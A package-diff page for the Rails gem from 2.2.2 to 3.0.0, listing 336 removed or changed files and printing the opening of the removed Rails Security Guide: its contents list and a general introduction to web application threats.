rails 2.2.2 → 3.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of rails might be problematic. Click here for more details.

Files changed (336) hide show
  1. data/bin/rails +8 -18
  2. metadata +118 -452
  3. data/CHANGELOG +0 -2071
  4. data/MIT-LICENSE +0 -20
  5. data/README +0 -256
  6. data/Rakefile +0 -411
  7. data/bin/about +0 -4
  8. data/bin/console +0 -3
  9. data/bin/dbconsole +0 -3
  10. data/bin/destroy +0 -3
  11. data/bin/generate +0 -3
  12. data/bin/performance/benchmarker +0 -3
  13. data/bin/performance/profiler +0 -3
  14. data/bin/performance/request +0 -3
  15. data/bin/plugin +0 -3
  16. data/bin/process/inspector +0 -3
  17. data/bin/process/reaper +0 -3
  18. data/bin/process/spawner +0 -3
  19. data/bin/runner +0 -3
  20. data/bin/server +0 -3
  21. data/builtin/rails_info/rails/info.rb +0 -125
  22. data/builtin/rails_info/rails/info_controller.rb +0 -9
  23. data/builtin/rails_info/rails/info_helper.rb +0 -2
  24. data/builtin/rails_info/rails_info_controller.rb +0 -2
  25. data/config.ru +0 -17
  26. data/configs/apache.conf +0 -40
  27. data/configs/databases/frontbase.yml +0 -28
  28. data/configs/databases/ibm_db.yml +0 -62
  29. data/configs/databases/mysql.yml +0 -57
  30. data/configs/databases/oracle.yml +0 -39
  31. data/configs/databases/postgresql.yml +0 -51
  32. data/configs/databases/sqlite2.yml +0 -19
  33. data/configs/databases/sqlite3.yml +0 -22
  34. data/configs/empty.log +0 -0
  35. data/configs/initializers/inflections.rb +0 -10
  36. data/configs/initializers/mime_types.rb +0 -5
  37. data/configs/initializers/new_rails_defaults.rb +0 -17
  38. data/configs/lighttpd.conf +0 -54
  39. data/configs/locales/en.yml +0 -5
  40. data/configs/routes.rb +0 -43
  41. data/dispatches/dispatch.fcgi +0 -24
  42. data/dispatches/dispatch.rb +0 -10
  43. data/dispatches/gateway.cgi +0 -97
  44. data/doc/README_FOR_APP +0 -5
  45. data/doc/guides/html/2_2_release_notes.html +0 -1185
  46. data/doc/guides/html/actioncontroller_basics.html +0 -1270
  47. data/doc/guides/html/activerecord_validations_callbacks.html +0 -749
  48. data/doc/guides/html/association_basics.html +0 -2585
  49. data/doc/guides/html/authors.html +0 -240
  50. data/doc/guides/html/benchmarking_and_profiling.html +0 -1018
  51. data/doc/guides/html/caching_with_rails.html +0 -583
  52. data/doc/guides/html/command_line.html +0 -434
  53. data/doc/guides/html/configuring.html +0 -438
  54. data/doc/guides/html/creating_plugins.html +0 -1594
  55. data/doc/guides/html/debugging_rails_applications.html +0 -1175
  56. data/doc/guides/html/finders.html +0 -1090
  57. data/doc/guides/html/form_helpers.html +0 -638
  58. data/doc/guides/html/getting_started_with_rails.html +0 -2066
  59. data/doc/guides/html/index.html +0 -349
  60. data/doc/guides/html/layouts_and_rendering.html +0 -1406
  61. data/doc/guides/html/migrations.html +0 -921
  62. data/doc/guides/html/routing_outside_in.html +0 -2213
  63. data/doc/guides/html/security.html +0 -1346
  64. data/doc/guides/html/testing_rails_applications.html +0 -1859
  65. data/doc/guides/source/2_2_release_notes.txt +0 -435
  66. data/doc/guides/source/actioncontroller_basics/changelog.txt +0 -5
  67. data/doc/guides/source/actioncontroller_basics/cookies.txt +0 -34
  68. data/doc/guides/source/actioncontroller_basics/csrf.txt +0 -32
  69. data/doc/guides/source/actioncontroller_basics/filters.txt +0 -119
  70. data/doc/guides/source/actioncontroller_basics/http_auth.txt +0 -24
  71. data/doc/guides/source/actioncontroller_basics/index.txt +0 -40
  72. data/doc/guides/source/actioncontroller_basics/introduction.txt +0 -9
  73. data/doc/guides/source/actioncontroller_basics/methods.txt +0 -39
  74. data/doc/guides/source/actioncontroller_basics/parameter_filtering.txt +0 -14
  75. data/doc/guides/source/actioncontroller_basics/params.txt +0 -93
  76. data/doc/guides/source/actioncontroller_basics/request_response_objects.txt +0 -43
  77. data/doc/guides/source/actioncontroller_basics/rescue.txt +0 -67
  78. data/doc/guides/source/actioncontroller_basics/session.txt +0 -187
  79. data/doc/guides/source/actioncontroller_basics/streaming.txt +0 -91
  80. data/doc/guides/source/actioncontroller_basics/verification.txt +0 -40
  81. data/doc/guides/source/active_record_basics.txt +0 -181
  82. data/doc/guides/source/activerecord_validations_callbacks.txt +0 -404
  83. data/doc/guides/source/association_basics.txt +0 -1840
  84. data/doc/guides/source/authors.txt +0 -39
  85. data/doc/guides/source/benchmarking_and_profiling/appendix.txt +0 -95
  86. data/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt +0 -105
  87. data/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt +0 -185
  88. data/doc/guides/source/benchmarking_and_profiling/gameplan.txt +0 -27
  89. data/doc/guides/source/benchmarking_and_profiling/index.txt +0 -242
  90. data/doc/guides/source/benchmarking_and_profiling/rubyprof.txt +0 -179
  91. data/doc/guides/source/benchmarking_and_profiling/statistics.txt +0 -57
  92. data/doc/guides/source/caching_with_rails.txt +0 -367
  93. data/doc/guides/source/command_line.txt +0 -147
  94. data/doc/guides/source/configuring.txt +0 -225
  95. data/doc/guides/source/creating_plugins/acts_as_yaffle.txt +0 -191
  96. data/doc/guides/source/creating_plugins/appendix.txt +0 -46
  97. data/doc/guides/source/creating_plugins/controllers.txt +0 -59
  98. data/doc/guides/source/creating_plugins/core_ext.txt +0 -123
  99. data/doc/guides/source/creating_plugins/custom_route.txt +0 -69
  100. data/doc/guides/source/creating_plugins/gem.txt +0 -1
  101. data/doc/guides/source/creating_plugins/generator_method.txt +0 -89
  102. data/doc/guides/source/creating_plugins/helpers.txt +0 -51
  103. data/doc/guides/source/creating_plugins/index.txt +0 -52
  104. data/doc/guides/source/creating_plugins/migration_generator.txt +0 -156
  105. data/doc/guides/source/creating_plugins/models.txt +0 -76
  106. data/doc/guides/source/creating_plugins/odds_and_ends.txt +0 -69
  107. data/doc/guides/source/creating_plugins/test_setup.txt +0 -230
  108. data/doc/guides/source/debugging_rails_applications.txt +0 -733
  109. data/doc/guides/source/finders.txt +0 -668
  110. data/doc/guides/source/form_helpers.txt +0 -345
  111. data/doc/guides/source/getting_started_with_rails.txt +0 -1256
  112. data/doc/guides/source/images/belongs_to.png +0 -0
  113. data/doc/guides/source/images/bullet.gif +0 -0
  114. data/doc/guides/source/images/csrf.png +0 -0
  115. data/doc/guides/source/images/habtm.png +0 -0
  116. data/doc/guides/source/images/has_many.png +0 -0
  117. data/doc/guides/source/images/has_many_through.png +0 -0
  118. data/doc/guides/source/images/has_one.png +0 -0
  119. data/doc/guides/source/images/has_one_through.png +0 -0
  120. data/doc/guides/source/images/header_backdrop.png +0 -0
  121. data/doc/guides/source/images/icons/README +0 -5
  122. data/doc/guides/source/images/icons/callouts/1.png +0 -0
  123. data/doc/guides/source/images/icons/callouts/10.png +0 -0
  124. data/doc/guides/source/images/icons/callouts/11.png +0 -0
  125. data/doc/guides/source/images/icons/callouts/12.png +0 -0
  126. data/doc/guides/source/images/icons/callouts/13.png +0 -0
  127. data/doc/guides/source/images/icons/callouts/14.png +0 -0
  128. data/doc/guides/source/images/icons/callouts/15.png +0 -0
  129. data/doc/guides/source/images/icons/callouts/2.png +0 -0
  130. data/doc/guides/source/images/icons/callouts/3.png +0 -0
  131. data/doc/guides/source/images/icons/callouts/4.png +0 -0
  132. data/doc/guides/source/images/icons/callouts/5.png +0 -0
  133. data/doc/guides/source/images/icons/callouts/6.png +0 -0
  134. data/doc/guides/source/images/icons/callouts/7.png +0 -0
  135. data/doc/guides/source/images/icons/callouts/8.png +0 -0
  136. data/doc/guides/source/images/icons/callouts/9.png +0 -0
  137. data/doc/guides/source/images/icons/caution.png +0 -0
  138. data/doc/guides/source/images/icons/example.png +0 -0
  139. data/doc/guides/source/images/icons/home.png +0 -0
  140. data/doc/guides/source/images/icons/important.png +0 -0
  141. data/doc/guides/source/images/icons/next.png +0 -0
  142. data/doc/guides/source/images/icons/note.png +0 -0
  143. data/doc/guides/source/images/icons/prev.png +0 -0
  144. data/doc/guides/source/images/icons/tip.png +0 -0
  145. data/doc/guides/source/images/icons/up.png +0 -0
  146. data/doc/guides/source/images/icons/warning.png +0 -0
  147. data/doc/guides/source/images/polymorphic.png +0 -0
  148. data/doc/guides/source/images/rails_logo_remix.gif +0 -0
  149. data/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif +0 -0
  150. data/doc/guides/source/images/session_fixation.png +0 -0
  151. data/doc/guides/source/index.txt +0 -118
  152. data/doc/guides/source/layouts_and_rendering.txt +0 -982
  153. data/doc/guides/source/migrations/anatomy_of_a_migration.txt +0 -85
  154. data/doc/guides/source/migrations/changelog.txt +0 -5
  155. data/doc/guides/source/migrations/creating_a_migration.txt +0 -109
  156. data/doc/guides/source/migrations/foreign_keys.txt +0 -8
  157. data/doc/guides/source/migrations/index.txt +0 -22
  158. data/doc/guides/source/migrations/rakeing_around.txt +0 -111
  159. data/doc/guides/source/migrations/scheming.txt +0 -47
  160. data/doc/guides/source/migrations/using_models_in_migrations.txt +0 -46
  161. data/doc/guides/source/migrations/writing_a_migration.txt +0 -159
  162. data/doc/guides/source/routing_outside_in.txt +0 -986
  163. data/doc/guides/source/security.txt +0 -984
  164. data/doc/guides/source/stylesheets/base.css +0 -358
  165. data/doc/guides/source/stylesheets/forms.css +0 -35
  166. data/doc/guides/source/stylesheets/more.css +0 -82
  167. data/doc/guides/source/templates/guides.html.erb +0 -97
  168. data/doc/guides/source/templates/inline.css +0 -165
  169. data/doc/guides/source/testing_rails_applications.txt +0 -995
  170. data/environments/boot.rb +0 -109
  171. data/environments/development.rb +0 -17
  172. data/environments/environment.rb +0 -75
  173. data/environments/production.rb +0 -24
  174. data/environments/test.rb +0 -22
  175. data/fresh_rakefile +0 -10
  176. data/helpers/application.rb +0 -15
  177. data/helpers/application_helper.rb +0 -3
  178. data/helpers/performance_test.rb +0 -9
  179. data/helpers/test_helper.rb +0 -38
  180. data/html/404.html +0 -30
  181. data/html/422.html +0 -30
  182. data/html/500.html +0 -33
  183. data/html/favicon.ico +0 -0
  184. data/html/images/rails.png +0 -0
  185. data/html/index.html +0 -274
  186. data/html/javascripts/application.js +0 -2
  187. data/html/javascripts/controls.js +0 -963
  188. data/html/javascripts/dragdrop.js +0 -973
  189. data/html/javascripts/effects.js +0 -1128
  190. data/html/javascripts/prototype.js +0 -4320
  191. data/html/robots.txt +0 -5
  192. data/lib/code_statistics.rb +0 -107
  193. data/lib/commands.rb +0 -17
  194. data/lib/commands/about.rb +0 -3
  195. data/lib/commands/console.rb +0 -45
  196. data/lib/commands/dbconsole.rb +0 -67
  197. data/lib/commands/destroy.rb +0 -6
  198. data/lib/commands/generate.rb +0 -6
  199. data/lib/commands/ncgi/listener +0 -86
  200. data/lib/commands/ncgi/tracker +0 -69
  201. data/lib/commands/performance/benchmarker.rb +0 -24
  202. data/lib/commands/performance/profiler.rb +0 -50
  203. data/lib/commands/performance/request.rb +0 -6
  204. data/lib/commands/plugin.rb +0 -967
  205. data/lib/commands/process/inspector.rb +0 -68
  206. data/lib/commands/process/reaper.rb +0 -149
  207. data/lib/commands/process/spawner.rb +0 -219
  208. data/lib/commands/process/spinner.rb +0 -57
  209. data/lib/commands/runner.rb +0 -48
  210. data/lib/commands/server.rb +0 -49
  211. data/lib/commands/servers/base.rb +0 -31
  212. data/lib/commands/servers/lighttpd.rb +0 -94
  213. data/lib/commands/servers/mongrel.rb +0 -69
  214. data/lib/commands/servers/new_mongrel.rb +0 -16
  215. data/lib/commands/servers/thin.rb +0 -25
  216. data/lib/commands/servers/webrick.rb +0 -66
  217. data/lib/commands/update.rb +0 -4
  218. data/lib/console_app.rb +0 -30
  219. data/lib/console_sandbox.rb +0 -6
  220. data/lib/console_with_helpers.rb +0 -26
  221. data/lib/dispatcher.rb +0 -24
  222. data/lib/fcgi_handler.rb +0 -237
  223. data/lib/initializer.rb +0 -1038
  224. data/lib/performance_test_help.rb +0 -5
  225. data/lib/rails/gem_builder.rb +0 -21
  226. data/lib/rails/gem_dependency.rb +0 -251
  227. data/lib/rails/mongrel_server/commands.rb +0 -342
  228. data/lib/rails/mongrel_server/handler.rb +0 -55
  229. data/lib/rails/plugin.rb +0 -124
  230. data/lib/rails/plugin/loader.rb +0 -152
  231. data/lib/rails/plugin/locator.rb +0 -100
  232. data/lib/rails/rack.rb +0 -6
  233. data/lib/rails/rack/logger.rb +0 -28
  234. data/lib/rails/rack/static.rb +0 -35
  235. data/lib/rails/vendor_gem_source_index.rb +0 -140
  236. data/lib/rails/version.rb +0 -9
  237. data/lib/rails_generator.rb +0 -43
  238. data/lib/rails_generator/base.rb +0 -263
  239. data/lib/rails_generator/commands.rb +0 -616
  240. data/lib/rails_generator/generated_attribute.rb +0 -46
  241. data/lib/rails_generator/generators/applications/app/USAGE +0 -9
  242. data/lib/rails_generator/generators/applications/app/app_generator.rb +0 -184
  243. data/lib/rails_generator/generators/components/controller/USAGE +0 -29
  244. data/lib/rails_generator/generators/components/controller/controller_generator.rb +0 -37
  245. data/lib/rails_generator/generators/components/controller/templates/controller.rb +0 -7
  246. data/lib/rails_generator/generators/components/controller/templates/functional_test.rb +0 -8
  247. data/lib/rails_generator/generators/components/controller/templates/helper.rb +0 -2
  248. data/lib/rails_generator/generators/components/controller/templates/view.html.erb +0 -2
  249. data/lib/rails_generator/generators/components/integration_test/USAGE +0 -8
  250. data/lib/rails_generator/generators/components/integration_test/integration_test_generator.rb +0 -16
  251. data/lib/rails_generator/generators/components/integration_test/templates/integration_test.rb +0 -10
  252. data/lib/rails_generator/generators/components/mailer/USAGE +0 -16
  253. data/lib/rails_generator/generators/components/mailer/mailer_generator.rb +0 -30
  254. data/lib/rails_generator/generators/components/mailer/templates/fixture.erb +0 -3
  255. data/lib/rails_generator/generators/components/mailer/templates/fixture.rhtml +0 -0
  256. data/lib/rails_generator/generators/components/mailer/templates/mailer.rb +0 -15
  257. data/lib/rails_generator/generators/components/mailer/templates/unit_test.rb +0 -20
  258. data/lib/rails_generator/generators/components/mailer/templates/view.erb +0 -3
  259. data/lib/rails_generator/generators/components/mailer/templates/view.rhtml +0 -0
  260. data/lib/rails_generator/generators/components/migration/USAGE +0 -29
  261. data/lib/rails_generator/generators/components/migration/migration_generator.rb +0 -20
  262. data/lib/rails_generator/generators/components/migration/templates/migration.rb +0 -11
  263. data/lib/rails_generator/generators/components/model/USAGE +0 -27
  264. data/lib/rails_generator/generators/components/model/model_generator.rb +0 -45
  265. data/lib/rails_generator/generators/components/model/templates/fixtures.yml +0 -19
  266. data/lib/rails_generator/generators/components/model/templates/migration.rb +0 -16
  267. data/lib/rails_generator/generators/components/model/templates/model.rb +0 -5
  268. data/lib/rails_generator/generators/components/model/templates/unit_test.rb +0 -8
  269. data/lib/rails_generator/generators/components/observer/USAGE +0 -13
  270. data/lib/rails_generator/generators/components/observer/observer_generator.rb +0 -16
  271. data/lib/rails_generator/generators/components/observer/templates/observer.rb +0 -2
  272. data/lib/rails_generator/generators/components/observer/templates/unit_test.rb +0 -8
  273. data/lib/rails_generator/generators/components/performance_test/USAGE +0 -8
  274. data/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb +0 -16
  275. data/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb +0 -9
  276. data/lib/rails_generator/generators/components/plugin/USAGE +0 -25
  277. data/lib/rails_generator/generators/components/plugin/plugin_generator.rb +0 -39
  278. data/lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE +0 -20
  279. data/lib/rails_generator/generators/components/plugin/templates/README +0 -13
  280. data/lib/rails_generator/generators/components/plugin/templates/Rakefile +0 -23
  281. data/lib/rails_generator/generators/components/plugin/templates/USAGE +0 -8
  282. data/lib/rails_generator/generators/components/plugin/templates/generator.rb +0 -8
  283. data/lib/rails_generator/generators/components/plugin/templates/init.rb +0 -1
  284. data/lib/rails_generator/generators/components/plugin/templates/install.rb +0 -1
  285. data/lib/rails_generator/generators/components/plugin/templates/plugin.rb +0 -1
  286. data/lib/rails_generator/generators/components/plugin/templates/tasks.rake +0 -4
  287. data/lib/rails_generator/generators/components/plugin/templates/test_helper.rb +0 -3
  288. data/lib/rails_generator/generators/components/plugin/templates/uninstall.rb +0 -1
  289. data/lib/rails_generator/generators/components/plugin/templates/unit_test.rb +0 -8
  290. data/lib/rails_generator/generators/components/resource/USAGE +0 -23
  291. data/lib/rails_generator/generators/components/resource/resource_generator.rb +0 -74
  292. data/lib/rails_generator/generators/components/resource/templates/controller.rb +0 -2
  293. data/lib/rails_generator/generators/components/resource/templates/functional_test.rb +0 -8
  294. data/lib/rails_generator/generators/components/resource/templates/helper.rb +0 -2
  295. data/lib/rails_generator/generators/components/scaffold/USAGE +0 -29
  296. data/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb +0 -100
  297. data/lib/rails_generator/generators/components/scaffold/templates/controller.rb +0 -85
  298. data/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb +0 -45
  299. data/lib/rails_generator/generators/components/scaffold/templates/helper.rb +0 -2
  300. data/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb +0 -17
  301. data/lib/rails_generator/generators/components/scaffold/templates/style.css +0 -54
  302. data/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb +0 -18
  303. data/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb +0 -24
  304. data/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb +0 -17
  305. data/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb +0 -10
  306. data/lib/rails_generator/generators/components/session_migration/USAGE +0 -10
  307. data/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb +0 -18
  308. data/lib/rails_generator/generators/components/session_migration/templates/migration.rb +0 -16
  309. data/lib/rails_generator/lookup.rb +0 -249
  310. data/lib/rails_generator/manifest.rb +0 -53
  311. data/lib/rails_generator/options.rb +0 -150
  312. data/lib/rails_generator/scripts.rb +0 -89
  313. data/lib/rails_generator/scripts/destroy.rb +0 -29
  314. data/lib/rails_generator/scripts/generate.rb +0 -7
  315. data/lib/rails_generator/scripts/update.rb +0 -12
  316. data/lib/rails_generator/secret_key_generator.rb +0 -22
  317. data/lib/rails_generator/simple_logger.rb +0 -46
  318. data/lib/rails_generator/spec.rb +0 -44
  319. data/lib/railties_path.rb +0 -1
  320. data/lib/ruby_version_check.rb +0 -17
  321. data/lib/rubyprof_ext.rb +0 -35
  322. data/lib/source_annotation_extractor.rb +0 -102
  323. data/lib/tasks/annotations.rake +0 -20
  324. data/lib/tasks/databases.rake +0 -416
  325. data/lib/tasks/documentation.rake +0 -95
  326. data/lib/tasks/framework.rake +0 -118
  327. data/lib/tasks/gems.rake +0 -80
  328. data/lib/tasks/log.rake +0 -9
  329. data/lib/tasks/misc.rake +0 -56
  330. data/lib/tasks/rails.rb +0 -8
  331. data/lib/tasks/routes.rake +0 -17
  332. data/lib/tasks/statistics.rake +0 -18
  333. data/lib/tasks/testing.rake +0 -139
  334. data/lib/tasks/tmp.rake +0 -37
  335. data/lib/test_help.rb +0 -27
  336. data/lib/webrick_server.rb +0 -156
@@ -1,1346 +0,0 @@
1
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2
- <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
3
- <head>
4
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
5
- <title>Ruby On Rails Security Guide</title>
6
- <!--[if lt IE 8]>
7
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
8
- <![endif]-->
9
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
10
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
11
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
12
- <style type="text/css">
13
- div#container {
14
- max-width: 900px;
15
- padding-bottom: 3em;
16
- }
17
-
18
- div#content {
19
- margin-left: 200px;
20
- }
21
-
22
- div#container.notoc {
23
- max-width: 600px;
24
- }
25
-
26
- .notoc div#content {
27
- margin-left: 0;
28
- }
29
-
30
- pre {
31
- line-height: 1.4em;
32
- }
33
-
34
- #content p tt {
35
- background: #eeeeee;
36
- border: solid 1px #cccccc;
37
- padding: 3px;
38
- }
39
-
40
- dt {
41
- font-weight: bold;
42
- }
43
-
44
- #content dt tt {
45
- font-size: 10pt;
46
- }
47
-
48
- dd {
49
- margin-left: 3em;
50
- }
51
-
52
- #content dt tt, #content pre tt {
53
- background: none;
54
- padding: 0;
55
- border: 0;
56
- }
57
-
58
- #content .olist ol {
59
- margin-left: 2em;
60
- }
61
-
62
- #header {
63
- position: relative;
64
- max-width: 840px;
65
- margin-left: auto;
66
- margin-right: auto;
67
- }
68
-
69
- #header.notoc {
70
- max-width: 580px;
71
- }
72
-
73
- #logo {
74
- position: absolute;
75
- left: 10px;
76
- top: 10px;
77
- width: 110px;
78
- height: 140px;
79
- }
80
-
81
- div#header h1#site_title {
82
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
83
- position: absolute;
84
- width: 392px;
85
- height: 55px;
86
- left: 145px;
87
- top: 20px;
88
- margin: 0;
89
- padding: 0;
90
- }
91
-
92
- #site_title span {
93
- display: none;
94
- }
95
-
96
- #site_title_tagline {
97
- display: none;
98
- }
99
-
100
- ul#navMain {
101
- position: absolute;
102
- margin: 0;
103
- padding: 0;
104
- top: 97px;
105
- left: 145px;
106
- }
107
-
108
- .left-floaty, .right-floaty {
109
- padding: 15px;
110
- }
111
-
112
- .admonitionblock,
113
- .tableblock {
114
- margin-left: 1em;
115
- margin-right: 1em;
116
- margin-top: 0.25em;
117
- margin-bottom: 1em;
118
- }
119
-
120
- .admonitionblock .icon {
121
- padding-right: 8px;
122
- }
123
-
124
- .admonitionblock .content {
125
- border: solid 1px #ffda78;
126
- background: #fffebd;
127
- padding: 10px;
128
- padding-top: 8px;
129
- padding-bottom: 8px;
130
- }
131
-
132
- .admonitionblock .title {
133
- font-size: 140%;
134
- margin-bottom: 0.5em;
135
- }
136
-
137
- .tableblock table {
138
- border: solid 1px #aaaaff;
139
- background: #f0f0ff;
140
- }
141
-
142
- .tableblock th {
143
- background: #e0e0e0;
144
- }
145
-
146
- .tableblock th,
147
- .tableblock td {
148
- padding: 3px;
149
- padding-left: 5px;
150
- padding-right: 5px;
151
- }
152
-
153
- .sidebarblock {
154
- margin-top: 0.25em;
155
- margin: 1em;
156
- border: solid 1px #ccccbb;
157
- padding: 8px;
158
- background: #ffffe0;
159
- }
160
-
161
- .sidebarblock .sidebar-title {
162
- font-size: 140%;
163
- font-weight: 600;
164
- margin-bottom: 0.3em;
165
- }
166
-
167
- .sidebarblock .sidebar-content > .para:last-child > p {
168
- margin-bottom: 0;
169
- }
170
-
171
- .sidebarblock .sidebar-title a {
172
- text-decoration: none;
173
- }
174
-
175
- .sidebarblock .sidebar-title a:hover {
176
- text-decoration: underline;
177
- }
178
-
179
- </style>
180
- </head>
181
- <body>
182
- <div id="header" >
183
- <div id="logo">
184
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
185
- </div>
186
-
187
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
188
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
189
-
190
- <ul id="navMain">
191
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
192
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
193
- </ul>
194
- </div>
195
-
196
- <div id="container">
197
-
198
- <div id="sidebar">
199
- <h2>Chapters</h2>
200
- <ol>
201
- <li>
202
- <a href="#_introduction">Introduction</a>
203
- </li>
204
- <li>
205
- <a href="#_sessions">Sessions</a>
206
- <ul>
207
-
208
- <li><a href="#_what_are_sessions">What are sessions?</a></li>
209
-
210
- <li><a href="#_session_id">Session id</a></li>
211
-
212
- <li><a href="#_session_hijacking">Session hijacking</a></li>
213
-
214
- <li><a href="#_session_guidelines">Session guidelines</a></li>
215
-
216
- <li><a href="#_session_storage">Session storage</a></li>
217
-
218
- <li><a href="#_replay_attacks_for_cookiestore_sessions">Replay attacks for CookieStore sessions</a></li>
219
-
220
- <li><a href="#_session_fixation">Session fixation</a></li>
221
-
222
- <li><a href="#_session_fixation_countermeasures">Session fixation – Countermeasures</a></li>
223
-
224
- <li><a href="#_session_expiry">Session expiry</a></li>
225
-
226
- </ul>
227
- </li>
228
- <li>
229
- <a href="#_cross_site_reference_forgery_csrf">Cross-Site Reference Forgery (CSRF)</a>
230
- <ul>
231
-
232
- <li><a href="#_csrf_countermeasures">CSRF Countermeasures</a></li>
233
-
234
- </ul>
235
- </li>
236
- <li>
237
- <a href="#_redirection_and_files">Redirection and Files</a>
238
- <ul>
239
-
240
- <li><a href="#_redirection">Redirection</a></li>
241
-
242
- <li><a href="#_file_uploads">File uploads</a></li>
243
-
244
- <li><a href="#_executable_code_in_file_uploads">Executable code in file uploads</a></li>
245
-
246
- <li><a href="#_file_downloads">File downloads</a></li>
247
-
248
- </ul>
249
- </li>
250
- <li>
251
- <a href="#_intranet_and_admin_security">Intranet and Admin security</a>
252
- <ul>
253
-
254
- <li><a href="#_additional_precautions">Additional precautions</a></li>
255
-
256
- </ul>
257
- </li>
258
- <li>
259
- <a href="#_mass_assignment">Mass assignment</a>
260
- <ul>
261
-
262
- <li><a href="#_countermeasures">Countermeasures</a></li>
263
-
264
- </ul>
265
- </li>
266
- <li>
267
- <a href="#_user_management">User management</a>
268
- <ul>
269
-
270
- <li><a href="#_brute_forcing_accounts">Brute-forcing accounts</a></li>
271
-
272
- <li><a href="#_account_hijacking">Account hijacking</a></li>
273
-
274
- <li><a href="#_captchas">CAPTCHAs</a></li>
275
-
276
- <li><a href="#_logging">Logging</a></li>
277
-
278
- <li><a href="#_good_passwords">Good passwords</a></li>
279
-
280
- <li><a href="#_regular_expressions">Regular expressions</a></li>
281
-
282
- <li><a href="#_privilege_escalation">Privilege escalation</a></li>
283
-
284
- </ul>
285
- </li>
286
- <li>
287
- <a href="#_injection">Injection</a>
288
- <ul>
289
-
290
- <li><a href="#_whitelists_versus_blacklists">Whitelists versus Blacklists</a></li>
291
-
292
- <li><a href="#_sql_injection">SQL Injection</a></li>
293
-
294
- <li><a href="#_cross_site_scripting_xss">Cross-Site Scripting (XSS)</a></li>
295
-
296
- <li><a href="#_css_injection">CSS Injection</a></li>
297
-
298
- <li><a href="#_textile_injection">Textile Injection</a></li>
299
-
300
- <li><a href="#_ajax_injection">Ajax Injection</a></li>
301
-
302
- <li><a href="#_rjs_injection">RJS Injection</a></li>
303
-
304
- <li><a href="#_command_line_injection">Command Line Injection</a></li>
305
-
306
- <li><a href="#_header_injection">Header Injection</a></li>
307
-
308
- </ul>
309
- </li>
310
- <li>
311
- <a href="#_additional_resources">Additional resources</a>
312
- </li>
313
- <li>
314
- <a href="#_changelog">Changelog</a>
315
- </li>
316
- </ol>
317
- </div>
318
-
319
- <div id="content">
320
- <h1>Ruby On Rails Security Guide</h1>
321
- <div id="preamble">
322
- <div class="sectionbody">
323
- <div class="para"><p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
324
- mail me, Heiko Webers, at 42 {<em>et</em>} rorsecurity.info. After reading it, you should be familiar with:</p></div>
325
- <div class="ilist"><ul>
326
- <li>
327
- <p>
328
- All countermeasures <span style="background-color: #fffcdb;">that are highlighted</span>
329
- </p>
330
- </li>
331
- <li>
332
- <p>
333
- The concept of sessions in Rails, what to put in there and popular attack methods
334
- </p>
335
- </li>
336
- <li>
337
- <p>
338
- How just visiting a site can be a security problem (with CSRF)
339
- </p>
340
- </li>
341
- <li>
342
- <p>
343
- What you have to pay attention to when working with files or providing an administration interface
344
- </p>
345
- </li>
346
- <li>
347
- <p>
348
- The Rails-specific mass assignment problem
349
- </p>
350
- </li>
351
- <li>
352
- <p>
353
- How to manage users: Logging in and out and attack methods on all layers
354
- </p>
355
- </li>
356
- <li>
357
- <p>
358
- And the most popular injection attack methods
359
- </p>
360
- </li>
361
- </ul></div>
362
- </div>
363
- </div>
364
- <h2 id="_introduction">1. Introduction</h2>
365
- <div class="sectionbody">
366
- <div class="para"><p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.</p></div>
367
- <div class="para"><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p></div>
368
- <div class="para"><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p></div>
369
- <div class="para"><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p></div>
370
- <div class="para"><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.</p></div>
371
- </div>
372
- <h2 id="_sessions">2. Sessions</h2>
373
- <div class="sectionbody">
